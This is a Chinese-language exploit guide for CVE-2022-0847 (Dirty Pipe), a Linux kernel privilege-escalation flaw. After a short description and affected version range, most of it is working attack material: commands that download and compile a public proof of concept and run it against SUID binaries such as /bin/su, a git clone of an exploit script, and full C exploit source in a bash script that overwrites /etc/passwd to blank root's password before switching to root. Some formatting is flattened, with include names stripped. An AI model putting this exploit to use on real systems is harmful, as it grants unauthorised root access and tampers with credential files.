CVE-2022-0847-DirtyPipe-Exploit 存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞,可覆盖重写任意可读文件(甚至是只读文件)中的数据,从而可将普通权限的用户提升到root权限。
CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞(Dirty Cow),但它更容易被利用,漏洞作者将此漏洞命名为Dirty Pipe。
影响版本影响范围:5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102
漏洞复现查看系统内核
方法一:mkdir dirtypipez cd dirtypipez wget https://haxx.in/files/dirtypipez.c gcc dirtypipez.c -o dirtypipez 这个 POC 需要事先找到一个具有 SUID 权限的可执行文件,然后利用这个文件进行提权 find / -perm -u=s -type f 2>/dev/null 直接 ./dirtypipez 跟上具有 SUID 权限的文件即可提权 ./dirtypipez /bin/su方法2:
git clone https://github.com/imfiver/CVE-2022-0847.git cd CVE-2022-0847 chmod +x Dirty-Pipe.sh bash Dirty-Pipe.shEXP
#/bin/bash cat>exp.c<#include #include #include #include #include #include #ifndef PAGE_SIZE #define PAGE_SIZE 4096 #endif static void prepare_pipe(int p[2]) { if (pipe(p)) abort(); const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096]; for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; } for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; } } int main(int argc, char **argv) { if (argc != 4) { fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATAn", argv[0]); return EXIT_FAILURE; } const char *const path = argv[1]; loff_t offset = strtoul(argv[2], NULL, 0); const char *const data = argv[3]; const size_t data_size = strlen(data); if (offset % PAGE_SIZE == 0) { fprintf(stderr, "Sorry, cannot start writing at a page boundaryn"); return EXIT_FAILURE; } const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; const loff_t end_offset = offset + (loff_t)data_size; if (end_offset > next_page) { fprintf(stderr, "Sorry, cannot write across a page boundaryn"); return EXIT_FAILURE; } const int fd = open(path, O_RDONLY); // yes, read-only! :-) if (fd < 0) { perror("open failed"); return EXIT_FAILURE; } struct stat st; if (fstat(fd, &st)) { perror("stat failed"); return EXIT_FAILURE; } if (offset > st.st_size) { fprintf(stderr, "Offset is not inside the filen"); return EXIT_FAILURE; } if (end_offset > st.st_size) { fprintf(stderr, "Sorry, cannot enlarge the filen"); return EXIT_FAILURE; } int p[2]; prepare_pipe(p); --offset; ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); if (nbytes < 0) { perror("splice failed"); return EXIT_FAILURE; } if (nbytes == 0) { fprintf(stderr, "short splicen"); return EXIT_FAILURE; } nbytes = write(p[1], data, data_size); if (nbytes < 0) { perror("write failed"); return EXIT_FAILURE; } if ((size_t)nbytes < data_size) { fprintf(stderr, "short writen"); return EXIT_FAILURE; } printf("It worked!n"); return EXIT_SUCCESS; } EOF gcc exp.c -o exp -std=c99 # 备份密码文件 cp /etc/passwd /tmp/passwd passwd_tmp=$(cat /etc/passwd|head) ./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}" echo -e "n# 恢复原来的密码nrm -rf /etc/passwdnmv /tmp/passwd /etc/passwd" # 现在可以无需密码切换到root账号 su root
链接参考:
https://mp.weixin.qq.com/s/7K6_E9GrkeEPAb3Xr2VurQ



